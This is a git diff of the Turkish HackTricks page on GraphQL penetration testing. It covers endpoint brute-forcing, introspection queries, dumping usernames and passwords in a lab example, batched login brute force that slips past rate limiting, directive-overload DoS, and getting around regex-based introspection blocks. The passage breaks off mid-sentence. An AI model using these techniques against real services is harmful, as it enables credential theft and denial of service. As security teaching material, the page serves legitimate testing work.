-Sıfırdan Kahraman'a kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! +Sıfırdan Kahraman'a AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! -* **Bir **[**cybersecurity şirketinde mi çalışıyorsunuz**](https://training.hacktricks.xyz/courses/arte)? **Şirketinizi HackTricks'te** görmek ister misiniz? veya **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! +* **Bir **_**cybersecurity şirketinde**_ **çalışıyor musunuz? Şirketinizi HackTricks'te **tanıtmak** ister misiniz? veya **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* **[💬](https://emojipedia.org/speech-balloon/) Discord grubuna** katılın veya [telegram grubuna](https://t.me/peass) katılın veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.** -* **Hacking püf noktalarınızı göndererek [hacktricks deposuna](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud deposuna](https://github.com/carlospolop/hacktricks-cloud) PR göndererek paylaşın**. +* **[💬](https://emojipedia.org/speech-balloon/) Discord grubuna** katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.** +* **Hacking püf noktalarınızı göndererek [hacktricks repo'ya](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo'ya](https://github.com/carlospolop/hacktricks-cloud) PR göndererek paylaşın.**
diff --git a/network-services-pentesting/pentesting-web/graphql.md b/network-services-pentesting/pentesting-web/graphql.md index 33be44216..7540fd9c0 100644 --- a/network-services-pentesting/pentesting-web/graphql.md +++ b/network-services-pentesting/pentesting-web/graphql.md @@ -2,54 +2,54 @@
-AWS hackleme becerilerinizi sıfırdan kahraman seviyesine çıkarın htARTE (HackTricks AWS Kırmızı Takım Uzmanı)ile! +AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert) ile HackTricks'ı desteklemenin diğer yolları: -* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**. -* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**. +* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**. +* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
## Giriş -GraphQL, backend'den veri sorgulamak için REST API'ye **verimli bir alternatif** olarak öne çıkar ve geliştiricilerin veri alım süreçlerinin karmaşıklığını azaltarak tüm gereken bilgileri **tek bir istekte** almayı mümkün kılar. REST'in aksine, verileri toplamak için çeşitli uç noktalara yapılan çok sayıda istek gerektiren durumlarda, GraphQL tüm gereken bilgileri tek bir istekte almayı sağlar. Bu basitleştirme, veri alım süreçlerinin karmaşıklığını azaltarak geliştiricilere önemli ölçüde fayda sağlar. +GraphQL, backend'den veri sorgulamak için basitleştirilmiş bir yaklaşım sunarak REST API'ye **verimli bir alternatif** olarak **ön plana çıkar**. REST'in aksine, genellikle verileri toplamak için çeşitli uç noktalarda çok sayıda istek gerektiren GraphQL, tüm gerekli bilgilerin **tek bir istek** aracılığıyla alınmasını sağlar. Bu basitleştirme, veri alım süreçlerinin karmaşıklığını azaltarak geliştiricilere önemli ölçüde **fayda sağlar**. ## GraphQL ve Güvenlik -GraphQL gibi yeni teknolojilerin ortaya çıkmasıyla birlikte yeni güvenlik açıkları da ortaya çıkar. Dikkate alınması gereken önemli bir nokta, **GraphQL'ın varsayılan olarak kimlik doğrulama mekanizmalarını içermemesidir**. Bu tür güvenlik önlemlerini uygulamak geliştiricilerin sorumluluğundadır. Doğru kimlik doğrulama olmadan, GraphQL uç noktaları kimlik doğrulaması yapılmamış kullanıcılara hassas bilgileri açıklayabilir ve ciddi bir güvenlik riski oluşturabilir. +GraphQL gibi yeni teknolojilerin ortaya çıkmasıyla yeni güvenlik açıkları da ortaya çıkar. **GraphQL'ın varsayılan olarak kimlik doğrulama mekanizmalarını içermediği** önemli bir noktadır. Bu tür güvenlik önlemlerini uygulamak geliştiricilerin sorumluluğundadır. Doğru kimlik doğrulama olmadan, GraphQL uç noktaları kimlik doğrulanmamış kullanıcılara hassas bilgileri açığa çıkarabilir, bu da ciddi bir güvenlik riski oluşturabilir. ### Dizin Brute Force Saldırıları ve GraphQL -Açığa çıkarılmış GraphQL örneklerini belirlemek için dizin brute force saldırılarına belirli yolların dahil edilmesi önerilir. Bu yollar şunlardır: +Açığa çıkarılmış GraphQL örneklerini tanımlamak için dizin brute force saldırılarında belirli yolların dahil edilmesi önerilir. Bu yollar şunlardır: -- `/graphql` -- `/graphiql` -- `/graphql.php` -- `/graphql/console` -- `/api` -- `/api/graphql` -- `/graphql/api` -- `/graphql/graphql` +* `/graphql` +* `/graphiql` +* `/graphql.php` +* `/graphql/console` +* `/api` +* `/api/graphql` +* `/graphql/api` +* `/graphql/graphql` -Açık GraphQL örneklerini belirlemek, desteklenen sorguların incelenmesine olanak tanır. Bu, uç noktadan erişilebilen verileri anlamak için önemlidir. GraphQL'in introspeksiyon sistemi, bir şemanın desteklediği sorguları detaylandırarak bu işlemi kolaylaştırır. Bu konuda daha fazla bilgi için GraphQL introspeksiyonu hakkında belgelere başvurun: [**GraphQL: API'ler için bir sorgu dili.**](https://graphql.org/learn/introspection/) +Açık GraphQL örneklerinin tanımlanması, desteklenen sorguların incelenmesine olanak tanır. Bu, uç noktadan erişilebilen verileri anlamak için önemlidir. GraphQL'in keşif sistemi, bir şemanın desteklediği sorguları detaylandırarak bunu kolaylaştırır. Bu konuda daha fazla bilgi için GraphQL belgelerindeki keşif bölümüne bakın: [**GraphQL: API'ler için bir sorgu dili.**](https://graphql.org/learn/introspection/) ### Parmak İzi -[**graphw00f**](https://github.com/dolevf/graphw00f) aracı, bir sunucuda kullanılan GraphQL motorunu tespit edebilir ve güvenlik denetçisi için bazı yardımcı bilgileri yazdırabilir. +[**graphw00f**](https://github.com/dolevf/graphw00f) aracı, bir sunucuda kullanılan GraphQL motorunu tespit edebilir ve ardından güvenlik denetçisi için bazı yararlı bilgileri yazdırabilir. #### Evrensel sorgular -Bir URL'nin bir GraphQL servisi olup olmadığını kontrol etmek için **evrensel bir sorgu**, `query{__typename}`, gönderilebilir. Yanıtta `{"data": {"__typename": "Query"}}` yer alıyorsa, URL'nin bir GraphQL uç noktası barındırdığı onaylanır. Bu yöntem, GraphQL'in sorgulanan nesnenin türünü ortaya çıkaran `__typename` alanına dayanır. +Bir URL'nin bir GraphQL servisi olup olmadığını kontrol etmek için bir **evrensel sorgu**, `query{__typename}`, gönderilebilir. Yanıt `{"data": {"__typename": "Query"}}` içeriyorsa, URL'nin bir GraphQL uç noktası barındırdığını doğrular. Bu yöntem, GraphQL'in sorgulanan nesnenin türünü ortaya çıkaran `__typename` alanına dayanır. ```javascript query{__typename} ``` -### Temel Saptama +### Temel Numaralandırma -Graphql genellikle **GET**, **POST** (x-www-form-urlencoded) ve **POST**(json) destekler. Ancak güvenlik için yalnızca json'a izin vermek, CSRF saldırılarını önlemek için önerilir. +Graphql genellikle **GET**, **POST** (x-www-form-urlencoded) ve **POST**(json) destekler. Güvenlik açısından, CSRF saldırılarını önlemek için yalnızca json'a izin vermek önerilir. #### İçgörü @@ -57,7 +57,7 @@ Graphql genellikle **GET**, **POST** (x-www-form-urlencoded) ve **POST**(json) d ```bash query={__schema{types{name,fields{name}}}} ``` -Bu sorgu ile kullanılan tüm tiplerin adını bulabilirsiniz: +Bu sorgu ile kullanılan tüm tiplerin adını bulacaksınız: ![](<../../.gitbook/assets/image (202).png>) @@ -67,21 +67,19 @@ query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofTy ``` {% endcode %} -Bu sorgu ile tüm tipleri, alanları ve argümanları (ve argümanların türünü) çıkarabilirsiniz. Bu, veritabanını sorgulamak için nasıl kullanılacağınızı bilmek için çok faydalı olacaktır. +Bu sorgu ile tüm tipleri, alanlarını ve argümanlarını (ve argümanların türünü) çıkarabilirsiniz. Veritabanını sorgulamanın nasıl yapılacağını bilmek çok faydalı olacaktır. ![](<../../.gitbook/assets/image (207) (3).png>) **Hatalar** -**Hataların** gösterilip gösterilmeyeceğini bilmek ilginç olacaktır çünkü bunlar faydalı **bilgiler** sağlayacaktır. +**Hataların** gösterilip gösterilmeyeceğini bilmek ilginç olacaktır, çünkü bu faydalı **bilgiler** sağlayabilir. ``` ?query={__schema} ?query={} ?query={thisdefinitelydoesnotexist} ``` -![](<../../.gitbook/assets/image (205) (1).png>) - -**İntrospeksiyon Yoluyla Veritabanı Şemasını Sıralama** +**Introspeksiyon Yoluyla Veritabanı Şemasını Sıralama** {% hint style="info" %} Eğer introspeksiyon etkinleştirilmişse ancak yukarıdaki sorgu çalışmıyorsa, sorgu yapısından `onOperation`, `onFragment` ve `onField` direktiflerini kaldırmayı deneyin. @@ -175,7 +173,7 @@ name } } ``` -Tek satır içi sorgu: +Satır içi denetim sorgusu: ``` /?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+} ``` @@ -183,58 +181,62 @@ Son kod satırı, graphql'den tüm meta bilgileri (nesne adları, parametreler, ![](<../../.gitbook/assets/image (206).png>) -Eğer introspection etkinse, [**GraphQL Voyager**](https://github.com/APIs-guru/graphql-voyager) kullanarak tüm seçenekleri bir GUI'de görüntüleyebilirsiniz. +Eğer introspeksiyon etkinse, [**GraphQL Voyager**](https://github.com/APIs-guru/graphql-voyager) kullanarak GUI'de tüm seçenekleri görüntüleyebilirsiniz. ### Sorgulama -Veritabanında hangi tür bilgilerin kaydedildiğini bildiğimize göre, bazı değerleri **çıkarmayı deneyelim**. +Veritabanında hangi tür bilgilerin kaydedildiğini bildiğimize göre, **bazı değerler çıkarmayı** deneyelim. -Introspection'da **doğrudan sorgulayabileceğiniz nesneyi** bulabilirsiniz (çünkü bir nesneyi sadece var olduğu için sorgulayamazsınız). Aşağıdaki resimde "_queryType_"'ın "_Query_" olarak adlandırıldığını ve "_Query_" nesnesinin bir alanının "_flags_" olduğunu görebilirsiniz, bu alan da bir nesne türüdür. Bu nedenle flag nesnesini sorgulayabilirsiniz. +Introspeksiyonda **doğrudan sorgulayabileceğiniz nesneyi** bulabilirsiniz (çünkü bir nesneyi sorgulayamazsınız sadece var olduğu için). Aşağıdaki görüntüde "_queryType_"'ın "_Query_" olarak adlandırıldığını ve "_Query_" nesnesinin alanlarından birinin "_flags_" olduğunu görebilirsiniz, ki bu da bir nesne türüdür. Dolayısıyla bayrak nesnesini sorgulayabilirsiniz. ![](../../.gitbook/assets/screenshot-from-2021-03-13-18-17-48.png) -Sorgu "_flags_"'ın türünün "_Flags_" olduğuna dikkat edin ve bu nesnenin aşağıdaki gibi tanımlandığını görebilirsiniz: +Sorgunun türü "_flags_"'in "_Flags_" olduğuna dikkat edin ve bu nesnenin aşağıdaki gibi tanımlandığını görebilirsiniz: ![](../../.gitbook/assets/screenshot-from-2021-03-13-18-22-57.png) -"_Flags_" nesnelerinin **ad** ve **değer** ile oluşturulduğunu görebilirsiniz. Ardından, tüm bayrakların adlarını ve değerlerini aşağıdaki sorgu ile alabilirsiniz: +"_Flags_" nesnelerinin **ad** ve **değer** ile oluşturulduğunu görebilirsiniz. Sonra bayrakların tüm adlarını ve değerlerini aşağıdaki sorgu ile alabilirsiniz: ```javascript query={flags{name, value}} ``` -Not: **Sorgulanacak nesne**, aşağıdaki örnekte olduğu gibi **string** gibi **ilkel bir tür** ise, sadece sorgulayabilirsiniz: +Not: Eğer sorgulanacak nesne string gibi ilkel bir türse, aşağıdaki örnekte olduğu gibi, sadece sorgulayabilirsiniz: + +![](<../../.gitbook/assets/image (441).png>) ```javascript query={hiddenFlags} ``` -Başka bir örnekte, "_Query_" türü nesnesi içinde "_user_" ve "_users_" adında 2 nesne vardı. Bu nesnelerin arama için herhangi bir argümana ihtiyacı olmadığında, istediğiniz verileri sormak suretiyle **tüm bilgileri alabilirsiniz**. Bu örnekte, İnternet'ten kaydedilmiş kullanıcı adlarını ve şifreleri çıkarabilirsiniz: +Başka bir örnekte, "_Query_" türü nesnesi içinde 2 nesne olan "_user_" ve "_users_" vardı.\ +Bu nesnelerin aranması için herhangi bir argümana ihtiyaç duymadıklarında, istediğiniz verileri sormak suretiyle **tüm bilgileri alabilirsiniz**. Bu örnekte, internetten kaydedilmiş kullanıcı adlarını ve şifreleri çıkarabilirsiniz: ![](<../../.gitbook/assets/image (208).png>) -Ancak, bu örnekte bunu yapmaya çalışırsanız, şu **hata**yı alırsınız: +Ancak, bu örnekte bunu denerseniz bu **hata** ile karşılaşırsınız: ![](<../../.gitbook/assets/image (210).png>) -Görünüşe göre, "_**uid**_" türünde bir "_**uid**_" argümanı kullanarak arama yapacak gibi görünüyor. Neyse ki, zaten bunu biliyorduk, [Temel Numaralandırma](graphql.md#basic-enumeration) bölümünde bize gerekli tüm bilgileri gösteren bir sorgu önerilmişti: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}` +Görünüşe göre, bir şekilde "_**uid**_" türünde bir _**Int**_ argümanını kullanarak arama yapacak.\ +Neyse ki, zaten bunu biliyorduk, [Temel Numaralandırma](graphql.md#basic-enumeration) bölümünde bize gerekli tüm bilgileri gösteren bir sorgu önerilmişti: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}` -Bu sorguyu çalıştırdığımda sağlanan görüntüyü okursanız, "_**user**_"'ın _Int_ türünde "_**uid**_" adında bir **arg**'ye sahip olduğunu göreceksiniz. +Eğer o sorguyu çalıştırdığımda sağlanan resmi okursanız, "_**user**_"'ın _Int_ türünde "_**uid**_" argümanına sahip olduğunu göreceksiniz. -Bu nedenle, hafif bir _**uid**_ brute force yaparak _**uid**=**1**_ için bir kullanıcı adı ve şifre elde ettim:\ +Bu nedenle, hafif bir _**uid**_ bruteforce gerçekleştirerek _**uid**=**1**_ için bir kullanıcı adı ve şifre elde ettim:\ `query={user(uid:1){user,password}}` ![](<../../.gitbook/assets/image (211).png>) -Dikkat edin, "_**user**_" ve "_**password**_" parametrelerini sormak için **keşfettiğimi** fark ettim, çünkü mevcut olmayan bir şeyi aramaya çalışırsam (`query={user(uid:1){noExists}}`), bu hatayı alırım: +Dikkat edin, "_**user**_" ve "_**password**_" parametrelerini isteyebileceğimi **keşfettim** çünkü var olmayan bir şey aramaya çalışırsam (`query={user(uid:1){noExists}}`) bu hatayı alırım: ![](<../../.gitbook/assets/image (213).png>) Ve **numaralandırma aşaması** sırasında "_**dbuser**_" nesnesinin "_**user**_" ve "_**password**_" alanlarına sahip olduğunu keşfettim. -**Sorgu dizesi döküm hilesi (teşekkürler @BinaryShadow\_)** +**Sorgu dizesi dökme hilesi (teşekkürler @BinaryShadow\_)** -Eğer bir dize türüyle arama yapabilirseniz, örneğin: `query={theusers(description: ""){username,password}}` ve **boş bir dize** ararsanız, tüm verileri **dökümleyecektir**. (_Bu örnek, öğreticilerin örneğiyle ilgili değildir, bu örnekte "**theusers**" kullanarak bir String alan olan "**description**" ile arama yapabileceğinizi varsayalım_). +Eğer bir String türüyle arama yapabilirseniz, örneğin: `query={theusers(description: ""){username,password}}` ve **boş bir dize ararsanız**, tüm verileri dökecektir. (_Bu örnek, öğreticilerin örneğiyle ilgili değildir, bu örnekte "**theusers**" kullanarak "**description**" adlı bir String alanıyla arama yapabileceğinizi varsayalım_). ### Arama -Bu yapılandırmada, bir **veritabanı** kişileri ve filmleri içerir. **Kişiler** e-posta ve isimleriyle tanımlanır; **filmler** ise adları ve derecelendirmeleriyle tanımlanır. **Kişiler**, birbirleriyle arkadaş olabilir ve ayrıca veritabanı içindeki ilişkileri gösteren filmlere sahip olabilir. +Bu kurulumda, bir **veritabanı** kişileri ve filmleri içerir. **Kişiler** e-posta ve isimleriyle tanımlanır; filmler ise adları ve derecelendirmeleriyle tanımlanır. **Kişiler** birbirleriyle arkadaş olabilir ve ayrıca filmlere sahip olabilir, veritabanı içindeki ilişkileri gösterir. Kişileri **isimlerine göre arayabilir** ve e-postalarını alabilirsiniz: ```javascript @@ -244,7 +246,7 @@ email } } ``` -Kişileri **isim** ile **arama** yapabilir ve **abone oldukları** **filmleri** alabilirsiniz: +Kişileri **adlarına** göre **aramak** ve **abone oldukları** **filmleri** almak için: ```javascript { searchPerson(name: "John Doe") { @@ -259,9 +261,9 @@ name } } ``` -Not: Kişinin `aboneFilmler`inin `adını` almak için nasıl belirtildiğine dikkat edin. +Not alınarak `subscribedMovies`'ın `name` özelliğinin alınması belirtilmiştir. -Aynı zamanda **birkaç nesneyi aynı anda arayabilirsiniz**. Bu durumda, 2 film araması yapılır: +Aynı anda **birkaç nesne aranabilir**. Bu durumda, 2 film araması yapılır: ```javascript { searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) { @@ -269,7 +271,7 @@ name } }r ``` -Ya da hatta **çeşitli farklı nesnelerin ilişkilerini takma adlar kullanarak**: +Ya da hatta **farklı nesnelerin ilişkileri için takma adlar kullanarak**: ```javascript { johnsMovieList: searchPerson(name: "John Doe") { @@ -292,17 +294,17 @@ name } } ``` -### Mutasyonlar +### Mutations -**Mutasyonlar, sunucu tarafında değişiklik yapmak için kullanılır.** +**Mutations, sunucu tarafında değişiklik yapmak için kullanılır.** -**İnceleme** içinde **tanımlanan** **mutasyonları** bulabilirsiniz. Aşağıdaki resimde "_MutationType_" "_Mutation_" olarak adlandırılır ve "_Mutation_" nesnesi, mutasyonların adlarını içerir (bu durumda "_addPerson_" gibi): +**Introspection** içinde **tanımlanmış mutasyonları** bulabilirsiniz. Aşağıdaki görüntüde "_MutationType_" "_Mutation_" olarak adlandırılır ve "_Mutation_" nesnesi mutasyonların isimlerini içerir (bu durumda "_addPerson_" gibi): ![](../../.gitbook/assets/screenshot-from-2021-03-13-18-26-27.png) -Bu yapıda, bir **veritabanı** kişileri ve filmleri içerir. **Kişiler** e-posta ve isimleriyle tanımlanır; **filmler** ise adları ve derecelendirmeleriyle tanımlanır. **Kişiler**, birbirleriyle arkadaş olabilir ve aynı zamanda veritabanındaki ilişkileri gösteren filmlere sahip olabilir. +Bu yapıda bir **veritabanı**, **kişileri** ve **filmleri** içerir. **Kişiler** **e-posta** ve **isimleri** ile tanımlanır; **filmler** ise **isimleri** ve **puanları** ile tanımlanır. **Kişiler** birbirleriyle arkadaş olabilir ve ayrıca filmlere sahip olabilir, veritabanındaki ilişkileri gösterir. -Veritabanına yeni filmler eklemek için bir mutasyon aşağıdaki gibi olabilir (bu örnekte mutasyon `addMovie` olarak adlandırılmıştır): +Veritabanına yeni **film eklemek** için bir mutasyon aşağıdaki gibi olabilir (bu örnekte mutasyon `addMovie` olarak adlandırılmıştır): ```javascript mutation { addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) { @@ -313,9 +315,9 @@ rating } } ``` -**Not: Hem değerlerin hem de veri türünün sorguda belirtildiğine dikkat edin.** +**Sorguda hem verilerin hem de veri türünün nasıl belirtildiğine dikkat edin.** -Ayrıca, veritabanı mevcut **arkadaşlar** ve **filmler** ile birlikte **kişilerin** oluşturulmasına izin veren `addPerson` adında bir **mutasyon** işlemi desteklemektedir. Yeni oluşturulan kişiye bağlantı yapmadan önce arkadaşlar ve filmlerin veritabanında önceden var olması gerektiğini unutmak önemlidir. +Ayrıca, veritabanı mevcut **arkadaşlar** ve **filmler** ile ilişkilendirilmiş **kişilerin** oluşturulmasına izin veren `addPerson` adında bir **mutasyon** işlemini destekler. Arkadaşlar ve filmlerin, yeni oluşturulan kişiye bağlanmadan önce veritabanında önceden var olması gerektiğini unutmamak önemlidir. ```javascript mutation { addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) { @@ -343,32 +345,36 @@ releaseYear } } ``` -### 1 API isteğinde toplu kaba kuvvet saldırısı +### Yönerge Aşırı Yükleme + +[**Bu raporda açıklanan zafiyetlerden birinde**](https://www.landh.tech/blog/20240304-google-hack-50000/) belirtildiği gibi, bir yönerge aşırı yükleme, sunucunun işlemleri boşa harcayacak şekilde bir yönergeyi milyonlarca kez çağırma anlamına gelir ve ardından DoS saldırısı yapılabilir hale gelir. + +### 1 API isteğinde kaba kuvvet saldırısını topluca yapma Bu bilgi [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/) adresinden alınmıştır.\ -**Farklı kimlik bilgileriyle birlikte birçok sorguyu aynı anda göndererek** GraphQL API üzerinden kimlik doğrulama yapılır ve kontrol edilir. Bu klasik bir kaba kuvvet saldırısıdır, ancak GraphQL toplu işleme özelliği sayesinde bir HTTP isteğiyle birden fazla giriş/şifre çifti göndermek mümkündür. Bu yaklaşım, harici hız izleme uygulamalarını yanıltarak her şeyin yolunda olduğunu ve şifreleri tahmin etmeye çalışan bir kaba kuvvet saldırısı botunun olmadığını düşündürebilir. +**Farklı kimlik bilgileri ile birlikte birçok sorguyu aynı anda göndererek GraphQL API üzerinden kimlik doğrulama**. Bu klasik bir kaba kuvvet saldırısıdır, ancak şimdi GraphQL toplu işleme özelliği sayesinde HTTP isteği başına birden fazla giriş/şifre çifti göndermek mümkün hale gelmiştir. Bu yaklaşım, harici hız izleme uygulamalarını, her şeyin yolunda olduğunu ve şifre denemesi yapan bir botun olmadığını düşünmelerine kandırabilir. -Aşağıda, **aynı anda 3 farklı e-posta/şifre çiftiyle** uygulama kimlik doğrulama isteğinin en basit gösterimi bulunmaktadır. Aynı şekilde tek bir istekte binlerce göndermek mümkündür: +Aşağıda, **aynı anda 3 farklı e-posta/şifre çifti** ile uygulama kimlik doğrulama isteğinin en basit gösterimi bulunmaktadır. Açıkça aynı şekilde tek bir istekte binlerce göndermek mümkündür: ![](<../../.gitbook/assets/image (182) (1).png>) -Yanıt ekran görüntüsünden görebileceğimiz gibi, ilk ve üçüncü istekler _null_ döndürdü ve ilgili bilgileri _error_ bölümünde yansıttı. **İkinci mutasyon doğru kimlik doğrulama** verilerine sahipti ve yanıtta doğru kimlik doğrulama oturum belirteci bulunmaktadır. +Yanıt ekran görüntüsünden görebileceğimiz gibi, ilk ve üçüncü istekler _null_ döndürdü ve ilgili bilgileri _error_ bölümünde yansıttı. **İkinci mutasyon doğru kimlik doğrulama** verilerine sahipti ve yanıt doğru kimlik doğrulama oturum belirteci içeriyordu. ![](<../../.gitbook/assets/image (119) (1).png>) -## Introspection Olmadan GraphQL +## GraphQL İntrospeksiyon Olmadan -Daha fazla **graphql uç noktası introspection'ı devre dışı bırakıyor**. Bununla birlikte, graphql'in beklenmeyen bir istek aldığında attığı hatalar, [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) gibi araçların çoğu şemayı yeniden oluşturmak için yeterlidir. +Daha fazla **graphql uç noktası introspeksiyonu devre dışı bırakıyor**. Bununla birlikte, graphql'in beklenmeyen bir istek aldığında fırlattığı hatalar, [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) gibi araçların çoğu şemayı yeniden oluşturmasına olanak tanır. -Ayrıca, Burp Suite uzantısı [**GraphQuail**](https://github.com/forcesunseen/graphquail) GraphQL API isteklerini izler ve her yeni sorguyu gördüğünde dahili bir GraphQL şeması **oluşturur**. Ayrıca, GraphiQL ve Voyager için şemayı açığa çıkarabilir. Uzantı, bir introspection sorgusu aldığında sahte bir yanıt döndürür. Sonuç olarak, GraphQuail API içinde kullanılabilecek tüm sorguları, argümanları ve alanları gösterir. Daha fazla bilgi için [**burayı kontrol edin**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema). +Ayrıca, Burp Suite uzantısı [**GraphQuail**](https://github.com/forcesunseen/graphquail) uzantısı, Burp üzerinden geçen GraphQL API isteklerini **izler** ve her yeni sorguyu gördüğünde içsel bir GraphQL **şeması oluşturur**. Ayrıca şemayı GraphiQL ve Voyager için açığa çıkarabilir. Uzantı, bir içgörü sorgusu aldığında sahte bir yanıt döndürür. Sonuç olarak, GraphQuail API içinde kullanılabilecek tüm sorguları, argümanları ve alanları gösterir. Daha fazla bilgi için [**buraya bakın**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema). [**GraphQL varlıklarını keşfetmek için güzel bir kelime listesi burada bulunabilir**](https://github.com/Escape-Technologies/graphql-wordlist?). -### GraphQL introspection savunmalarını aşma +### GraphQL İntrospeksiyon Savunmalarını Atlatma -### **GraphQL Introspection Savunmalarını Aşma** +### **GraphQL İntrospeksiyon Savunmalarını Atlatma** -API'lerde introspection sorgularına getirilen kısıtlamaları aşmak için, `__schema` anahtarından sonra **özel bir karakter eklemek** etkilidir. Bu yöntem, introspection'ı engellemek için `__schema` anahtarına odaklanan regex desenlerinde yaygın olarak görülen geliştirici hatalarını sömürür. GraphQL'in görmezden geldiği ancak regex'te hesaba katılmamış olabilecek karakterler olan **boşluklar, yeni satırlar ve virgüller** ekleyerek kısıtlamaları atlayabilirsiniz. Örneğin, `__schema`'dan sonra bir satır sonu ekleyen bir introspection sorgusu, bu tür savunmaları atlayabilir: +API'lerde introspeksiyon sorgularına getirilen kısıtlamaları atlamak için, `__schema` kelimesinden sonra **özel bir karakter eklemek** etkili olabilir. Bu yöntem, introspeksiyonu engellemeyi amaçlayan regex desenlerinde yaygın geliştirici hatalarını sömürür. GraphQL'in görmezden geldiği ancak regex'te hesaba katılmamış olabilecek karakterler ekleyerek, kısıtlamalar atlatılabilir. Örneğin, `__schema`'dan sonra bir satır sonu ekleyen bir introspeksiyon 